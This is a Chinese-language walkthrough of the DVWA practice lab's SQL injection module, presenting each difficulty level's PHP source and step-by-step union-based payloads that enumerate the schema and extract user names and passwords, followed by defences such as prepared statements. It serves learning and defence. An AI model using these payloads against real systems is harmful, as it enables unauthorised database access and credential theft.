web基础—dvwa靶场(七)SQL Injection

news/2024/9/19 11:26:08/ 标签: 数据库, 网络安全, web安全

SQL Injection(SQL注入)

SQL Injection(SQL注入),是指攻击者通过注入恶意的SQL命令,破坏SQL查询语句的结构,从而达到执行恶意SQL语句的目的。SQL注入漏洞的危害是巨大的,常常会导致整个数据库被“脱裤”,尽管如此,SQL注入仍是现在最常见的Web漏洞之一。

SQL 注入是从客户端向应用程序的输入数据,通过插入或“注入” SQL 查询语句来进行攻击的过程。成功的 SQL 注入攻击可以从数据库中读取敏感数据、修改数据库数据(插入/更新/删除)、对数据库执行管理操作(例如关闭 DBMS)、恢复 DBMS 文件系统上存在的给定文件的内容,并在某些情况下也能向操作系统发出命令。
SQL 注入是一种注入攻击,在这种攻击中 SQL 命令被注入到数据平面的输入中,以此影响预定义的 SQL 命令的执行,这种攻击也可以称为 “SQLi”。
数据库中有 5 个用户,id 从 1 到 5,你的任务是通过 SQLi 窃取他们的密码。

SQL注入流程

拿到一个查询条件的web网页,就需要对输入框做以下的事情

1.判断是否存在注入,注入是字符型还是数字型

2.猜解SQL查询语句中的字段数

3.确定显示的字段顺序

4.获取当前数据库

5.获取数据库中的表

6.获取表中的字段名

7.下载数据

SQL Injection主题:

Low

源码解析

<?phpif( isset( $_REQUEST[ 'Submit' ] ) ) {// Get input
//获取ID字段$id = $_REQUEST[ 'id' ];// Check database
//拼接SQL语句并查询$query  = "SELECT first_name, last_name FROM users WHERE user_id = '$id';";$result = mysqli_query($GLOBALS["___mysqli_ston"],  $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );// Get resultswhile( $row = mysqli_fetch_assoc( $result ) ) {// Get values$first = $row["first_name"];$last  = $row["last_name"];// Feedback for end userecho "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";}mysqli_close($GLOBALS["___mysqli_ston"]);
}?>

漏洞复现

(1)首先找到注入点,判断注入的类型

1
1\
1' #

 (2)使用二分法判断字段(order by   5,3,2),最终判断存在2个字段

1' order by 5 #
1' order by 3 #
1' order by 2 #

 (3)显示报错位

1' union select 1,2 #

 (4)查找库名

1' union select 1,database() #

 (5)查找当前数据库中的表

1' union select 1,group_concat(table_name) from information_schema.tables where table_schema=database() #

 (6)查找表users中的字段

1' union select 1,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users' #

 (7)查找数据

1' union select group_concat(user),group_concat(password) from users #

Medium

源码解析

<?phpif( isset( $_POST[ 'Submit' ] ) ) {// Get input$id = $_POST[ 'id' ];//user中x00,n,r,,’,”,x1a转义,防SQL注入$id = mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $id);$query  = "SELECT first_name, last_name FROM users WHERE user_id = $id;";$result = mysqli_query($GLOBALS["___mysqli_ston"], $query) or die( '<pre>' . mysqli_error($GLOBALS["___mysqli_ston"]) . '</pre>' );// Get resultswhile( $row = mysqli_fetch_assoc( $result ) ) {// Display values$first = $row["first_name"];$last  = $row["last_name"];// Feedback for end userecho "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";}}// This is used later on in the index.php page
// Setting it here so we can close the database connection in here like in the rest of the source scripts
$query  = "SELECT COUNT(*) FROM users;";
$result = mysqli_query($GLOBALS["___mysqli_ston"],  $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );
$number_of_rows = mysqli_fetch_row( $result )[0];mysqli_close($GLOBALS["___mysqli_ston"]);?>

漏洞复现

  GET提交方式改成了POST提交方式,还使用了转义预防SQL注入。

(1)判断注入点,判断注入类型

1
1 \
1 #

 (2)使用二分法判断字段(order by   5,3,2),最终判断存在2个字段

1 order by 5 #
1 order by 3 #
1 order by 2 #

(3)显示报错位

1 union select 1,2 #

 (4)查找库名

1 union select 1,database() #

 (5)查找当前数据库中的表

1 union select 1,group_concat(table_name) from information_schema.tables where table_schema=database() #

 (6)查找表users中的字段

1 union select 1,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users' #

 (7)查找数据

1 union select group_concat(user),group_concat(password) from users #

High

源码解析

<?phpif( isset( $_SESSION [ 'id' ] ) ) {// Get input$id = $_SESSION[ 'id' ];// Check database
//【select * from tableName limit i,n 】
tableName : 为数据表;
i : 为查询结果的索引值(默认从0开始);
n : 为查询结果返回的数量
查询第一条数据
select * from student limit 1
查询第二条数据
select * from student limit 1,1$query  = "SELECT first_name, last_name FROM users WHERE user_id = '$id' LIMIT 1;";$result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>Something went wrong.</pre>' );// Get resultswhile( $row = mysqli_fetch_assoc( $result ) ) {// Get values$first = $row["first_name"];$last  = $row["last_name"];// Feedback for end userecho "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";}((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);        
}?>

漏洞复现

  high 级别使用了session 获取id 值,闭合方式单引号闭合。

(1)代码与LOW级别的都一样

1' union select group_concat(user),group_concat(password) from users #

Impossible

源码解析

<?phpif( isset( $_GET[ 'Submit' ] ) ) {// Check Anti-CSRF tokencheckToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );// Get input$id = $_GET[ 'id' ];// Was a number entered?if(is_numeric( $id )) {// Check the database$data = $db->prepare( 'SELECT first_name, last_name FROM users WHERE user_id = (:id) LIMIT 1;' );$data->bindParam( ':id', $id, PDO::PARAM_INT );$data->execute();$row = $data->fetch();// Make sure only 1 result is returnedif( $data->rowCount() == 1 ) {// Get values$first = $row[ 'first_name' ];$last  = $row[ 'last_name' ];// Feedback for end userecho "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";}}
}// Generate Anti-CSRF token
generateSessionToken();?>
漏洞复现

  CSRF、检测 id 是否是数字。  prepare 预编译语句的优势在于归纳为:一次编译、多次运行,省去了解析优化等过程;此外预编译语句能防止 SQL 注入。

        Impossible 级别的代码采用了 PDO 技术,防止代码和查询数据的混杂。同时当返回的查询结果数量为一时才会成功输出,这样就有效预防了“脱裤”,Anti-CSRFtoken 机制的加入了进一步提高了安全性。

总结与防御

SQL 注入攻击就是 Web 程序对用户的输入没有进行合法性判断,从而攻击者可以从前端向后端传入攻击参数,并且该参数被带入了后端执行。在很多情况下开发者会使用动态的 SQL 语句,这种语句是在程序执行过程中构造的,不过动态的 SQL 语句很容易被攻击者传入的参数改变其原本的功能。
当我们进行手工 SQL 注入时,往往是采取以下几个步骤:

  1. 判断是否存在注入,注入是字符型还是数字型
  2. 猜解SQL查询语句中的字段数;
  3. 确定显示的字段顺序;
  4. 获取当前数据库
  5. 获取数据库中的表;
  6. 获取表中的字段名;
  7. 下载数据。

当开发者需要防御 SQL 注入攻击时,可以采用以下方法。

  1. 过滤危险字符:可以使用正则表达式匹配各种 SQL 子句,例如 select,union,where 等,如果匹配到则退出程序。
  2. 使用预编译语句:PDO 提供了一个数据访问抽象层,这意味着不管使用哪种数据库,都可以用相同的函数(方法)来查询和获取数据。使用 PDO 预编译语句应该使用占位符进行数据库的操作,而不是直接将变量拼接进去。


http://www.ppmy.cn/news/1527619.html

相关文章

AI绘画:科技赋能艺术的崭新时代

&#x1f4af;AI绘画&#xff1a;走进艺术创新的新时代 人工智能在改变世界的过程中&#xff0c;AI绘画工具逐渐成为创新的典范。 本文将为您揭示AI绘画背后的技术秘密、潜在的应用场景&#xff0c;并为您推荐几款出色的AI绘画工具&#xff0c;助您领略这一技术带来的艺术新体…

git bash中执行java命令乱码问题处理

Git Bash中执行java命令显示乱码 购机自带windows字符集为gbk&#xff0c;git bash默认为utf8&#xff0c;导致中文字符显示乱码 处理方案如下 顶部右键点击Options 选择Text&#xff0c;更换字符集即可

彩蛋岛 销冠大模型案例

彩蛋岛 销冠大模型案例 任务&#xff1a; https://kkgithub.com/InternLM/Tutorial/tree/camp3/docs/EasterEgg/StreamerSales 视频 https://www.bilibili.com/video/BV1f1421b7Du/?vd_source4ffecd6d839338c9390829e56a43ca8d 项目git地址&#xff1a; https://kkgithu…

VideoPlayer插件的用法

文章目录 1. 概念介绍2. 使用方法2.1 实现步骤2.2 具体细节 3. 示例代码4. 内容总结 我们在上一章回中介绍了"如何获取文件类型"相关的内容&#xff0c;本章回中将介绍如何播放视频.闲话休提&#xff0c;让我们一起Talk Flutter吧。 1. 概念介绍 播放视频是我们常用…

[深度学习]Pytorch框架

1 深度学习简介 应用领域&#xff1a;语音交互、文本处理、计算机视觉、深度学习、人机交互、知识图谱、分析处理、问题求解 2 发展历史 1956年人工智能元年2016年国内开始关注深度学习2017年出现Transformer框架2018年Bert和GPT出现2022年&#xff0c;chatGPT出现&#xff0…

C++11新特性学习

C11 1. C11新特性 自动类型推导&#xff08;auto&#xff09;智能指针&#xff08;提供更安全和更高效的内存管理&#xff09;移动语义和右值引用 (move语义 &&&#xff0c;使得对象移动而非拷贝&#xff0c;在处理大量数据时提高程序性能)Lambda 表达式&#xff08;…

idea连接docker 自动化部署

进入Linux服务器 vim /lib/systemd/system/docker.service将 ExecStart/usr/bin/dockerd -H fd:// --containerd/run/containerd/containerd.sock 替换为 ExecStart/usr/bin/dockerd -H tcp://0.0.0.0:2375 -H unix://var/run/docker.sock新建文件 Dockerfile配置Dockerfile文…

CTF比赛中的Git相关题目解题思路

在CTF比赛中&#xff0c;涉及Git相关的题目通常会考察参赛者对Git仓库的了解&#xff0c;尤其是如何利用公开或不完整的Git仓库来恢复源代码或获取敏感信息。本文将结合一些常见的工具和步骤&#xff0c;详细介绍如何解决这类题目。 背景 Git是一种分布式版本控制系统&#…

中国农业银行——开源软件一体化管理平台

【金融机构开源技术应用创新成果案例 第十二期】 中国农业银行——开源软件一体化管理平台 申报单位:中国农业银行股份有限公司 技术领域:开源软件管理 技术产品:Git、Gitea、Spring-boot、Mybatis 业务场景:开源软件准入、使用、安全治理、目录发布、内外部开源等 应…

Go第三方框架--gin框架(三)

5. net/http框架源码-- 多路复用的实现 这块核心功能对应 1.3 的圆圈2&#xff0c;所属代码如下图&#xff1a; run代码涉及的操作不是gin框架的核心&#xff0c;还记的我说过gin是在net/http的基础上操作的吗&#xff0c;我们来看下gin和net/http包的关联关系。 gin: 主要建…

Java重修笔记 第五十六天 坦克大战(六)多线程基础 - 线程同步、死锁

多线程同步机制 多线程编程中&#xff0c;一些敏感数据可能会被多个线程同时访问造成数据混乱&#xff08;例如票数&#xff09;&#xff0c;使用线程同步机制&#xff0c;通过锁对象&#xff08;对象实例或类实例&#xff09;的方式来保证该段代码在任意时刻&#xff0c;最多…

ram和rom的种类迭代和介绍

RAM&#xff08;随机存取存储器&#xff09;在计算机和电子设备中扮演着至关重要的角色。随着技术的发展&#xff0c;RAM有多个迭代和种类&#xff0c;每个种类在速度、功耗和使用场景上有所不同。以下是RAM的详细迭代种类及介绍。 1. SRAM&#xff08;Static RAM&#xff0c;…

linux-软件包管理-包管理工具(Debian 系)

Linux 软件包管理概述 在Linux系统中&#xff0c;软件包管理是系统维护的核心部分之一。通过软件包管理器&#xff0c;用户可以方便地安装、更新、删除和查询系统中的软件包。每个Linux发行版通常都有自己专属的包管理工具&#xff0c;这些工具基于不同的包格式。例如&#xf…

pycharm连接远程linux服务器上的docker进行深度学习训练

实习过程中由于GPU都在服务器上&#xff0c;编辑代码很麻烦。并且服务器上配置了docker的环境&#xff0c;所以用pycharm连接远程服务器的docker进行深度学习&#xff0c;这样在本地调用远程服务器的GPU和环境&#xff0c;更方便一点&#xff0c;将这个过程记录下来&#xff0c…

CentOS中使用DockerCompose方式部署带postgis的postgresql(附kartoza/docker-postgis镜像下载)

场景 CentOS中使用Docker部署带postgis的postgresql&#xff1a; CentOS中使用Docker部署带postgis的postgresql_centos postgis插件在容器中如何安装-CSDN博客 上面使用Docker搜索和拉取kartoza/postgis时并没有任何限制。 当下如果不能科学上网时&#xff0c;大部分镜像源…

力扣150题——多维动态规划

交错字符串 题目 97. 交错字符串 - 力扣&#xff08;LeetCode&#xff09; 思路 用dp[i][j]代表s1的前i个字母和s2的前s2个字母能否交错组成s3的前ij-1的子串 状态转移方程即为 如果 s1[i-1] s3[i j - 1]&#xff0c;并且 dp[i-1][j] 为 true&#xff0c;则 dp[i][j] 也…

vmware中的ubuntu系统扩容分区

1.虚拟机关机 右击虚拟机/设置&#xff0c;进入虚拟机设置 3.启动虚拟机&#xff0c;进入命令行 4.fdisk -l查看要扩展的分区名 5.resize要扩容的分区 su root parted /dev/sda resizepart 3 100% fdisk -l resize2fs /dev/sda3 df -T完成 6.其他 进入磁盘管理 fdisk /d…

oracle 如何查询表被锁

在Oracle数据库中&#xff0c;查询表是否被锁可以通过多种方式实现。以下是一些常用的方法来查询Oracle数据库中的表锁情况&#xff1a; 1. 使用V$LOCKED_OBJECT视图 V$LOCKED_OBJECT是Oracle提供的动态性能视图&#xff0c;用于显示当前被锁定的对象信息。通过查询该视图&am…

XML_Tomcat_HTTP

第四章 XML_Tomcat10_HTTP 一 XML XML是EXtensible Markup Language的缩写&#xff0c;翻译过来就是可扩展标记语言。所以很明显&#xff0c;XML和HTML一样都是标记语言&#xff0c;也就是说它们的基本语法都是标签。 可扩展 三个字表面上的意思是XML允许自定义格式。但这不代…

使用 Istio 缓解电信 5G IoT 微服务 Pod 架构的安全挑战

在 Kubernetes 集群中部署微服务在 5G 电信中至关重要。但是&#xff0c;它也带来了重大的安全风险。虽然防火墙规则和代理提供了初始安全性&#xff0c;但 Kubernetes 中的默认通信机制&#xff08;例如未加密的网络流量和缺乏访问控制&#xff09;本质上是不安全的。这种不安…